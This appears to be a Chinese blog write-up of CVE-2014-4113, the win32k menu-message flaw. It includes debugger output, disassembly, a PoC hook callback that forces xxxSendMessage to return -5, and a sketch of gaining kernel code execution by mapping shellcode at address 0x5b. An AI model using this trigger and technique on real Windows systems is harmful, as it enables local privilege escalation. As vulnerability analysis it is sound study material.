CVE-2014-4113简要分析-零页引用异常

简要分析

直接跑一波poc

kd> r
eax=fffffe0d ebx=000001ed ecx=927020e4 edx=91bd3b78 esi=fffffffb edi=fd2c4640
eip=925a93fa esp=91bd3a3c ebp=91bd3a64 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
win32k!xxxSendMessageTimeout+0xb3:
925a93fa 3b7e08          cmp     edi,dword ptr [esi+8] ds:0023:00000003=????????

kd> kb
 # ChildEBP RetAddr  Args to Child              
00 942f9a64 925a95c5 fffffffb 000001ed 002ef85c win32k!xxxSendMessageTimeout+0xb3
01 942f9a8c 926292fb fffffffb 000001ed 002ef85c win32k!xxxSendMessage+0x28
02 942f9aec 92628c1f 942f9b0c 00000000 002ef85c win32k!xxxHandleMenuMessages+0x582
03 942f9b38 9262f8f1 fd2e6bf0 9270f580 00000000 win32k!xxxMNLoop+0x2c6
04 942f9ba0 9262f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 942f9c14 83e591ea 0015018b 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
06 942f9c14 773570b4 0015018b 00000000 00000000 nt!KiFastCallEntry+0x12a

显然这里的esi是不合法的,因此我们需要找到它是如何产生的。向上可以追溯到一个基本块中

.text:BF938DF5 mov     esi, [ebp+arg_4]
.text:BF938DF8 or      dword ptr [esi+10h], 0FFFFFFFFh
.text:BF938DFC movsx   eax, bx
.text:BF938DFF mov     [esi+8], eax
.text:BF938E02 mov     eax, ebx
.text:BF938E04 shr     eax, 10h
.text:BF938E07 cwde
.text:BF938E08 mov     [esi+0Ch], eax
.text:BF938E0B push    ebx             ; int
.text:BF938E0C lea     eax, [ebp+UnicodeString]
.text:BF938E0F push    eax             ; int
.text:BF938E10 push    edi             ; UnicodeString
.text:BF938E11 call    _xxxMNFindWindowFromPoint@12 ; 返回指针
.text:BF938E16 mov     ebx, eax
.text:BF938E18 push    ebx
.text:BF938E19 call    _IsMFMWFPWindow@4 ; IsMFMWFPWindow(x)
.text:BF938E1E mov     [ebp+arg_4], eax
.text:BF938E21 test    eax, eax
.text:BF938E23 jz      short loc_BF938E43

xxxMNFindWindowFromPoint返回的就是之后的值,在这个基本块之后,还将该返回值与0,-1,-5做了比较,可以推测负数可能是错误码,继续深入看xxxMNFindWindowFromPoint内部是如何产生返回值的,这里通过调试找到返回-5的执行路径

CVE-2014-4113简要分析-零页引用异常_第1张图片
走的是左边黄色部分,其中第一个块如下

.text:BF9395B9 mov     ecx, _gptiCurrent
.text:BF9395BF add     ecx, 0B4h
.text:BF9395C5 mov     edx, [ecx]
.text:BF9395C7 mov     [ebp+var_18], edx
.text:BF9395CA lea     edx, [ebp+var_18]
.text:BF9395CD mov     [ecx], edx
.text:BF9395CF mov     [ebp+var_14], eax
.text:BF9395D2 inc     dword ptr [eax+4]
.text:BF9395D5 mov     eax, [ebp+arg_8]
.text:BF9395D8 movzx   ecx, word ptr [ebp+arg_8]
.text:BF9395DC shr     eax, 10h
.text:BF9395DF shl     eax, 10h
.text:BF9395E2 or      eax, ecx
.text:BF9395E4 push    eax             ; Src
.text:BF9395E5 lea     eax, [ebp+UnicodeString]
.text:BF9395E8 push    eax             ; UnicodeString
.text:BF9395E9 push    1EBh            ; MbString
.text:BF9395EE push    dword ptr [edi+0Ch] ; P
.text:BF9395F1 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF9395F6 mov     esi, eax
.text:BF9395F8 call    _ThreadUnlock1@0 ; ThreadUnlock1()
.text:BF9395FD push    esi
.text:BF9395FE call    _IsMFMWFPWindow@4 ; IsMFMWFPWindow(x)
.text:BF939603 test    eax, eax
.text:BF939605 jz      short loc_BF939612

从这条执行路径来看,xxxMNFindWindowFromPoint的返回值就是xxxSendMessage的返回值,即此处xxxSendMessage返回0xfffffffb,可以注意到的是,这里的xxxSendMessage发送的消息代码为0x1EB,这正是我们poc中hook的消息代码

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
	printf("[+] Callback one called.\n");
	if (*(DWORD*)(lParam + 8) == 0x1EB) {
		if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
			SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
		}
	}
	return CallNextHookEx(0, code, wParam, lParam);
}

所以在此处控制流会被我们的ring3代码劫持,转而调用HookCallbackTwo,它会调用EndMenu来终止一个Menu,这导致了xxxSendMessage失败并返回0xfffffffb。

利用思路

给出的poc离最终利用已经很接近了,在xxxSendMessageTimeout中有如下基本块

.text:BF8B94E8 loc_BF8B94E8:
.text:BF8B94E8 push    [ebp+Src]
.text:BF8B94EB push    dword ptr [ebp+UnicodeString]
.text:BF8B94EE push    ebx
.text:BF8B94EF push    esi
.text:BF8B94F0 call    dword ptr [esi+60h]
.text:BF8B94F3 mov     ecx, [ebp+arg_18]
.text:BF8B94F6 test    ecx, ecx
.text:BF8B94F8 jz      loc_BF8B9591

其中调用了esi+0x60,而esi为-5时,这里为0x5b,所以这里本质上转换为了空指针异常,将shellcode地址写入0x5b地址处即可实现利用。

你可能感兴趣的:(安全)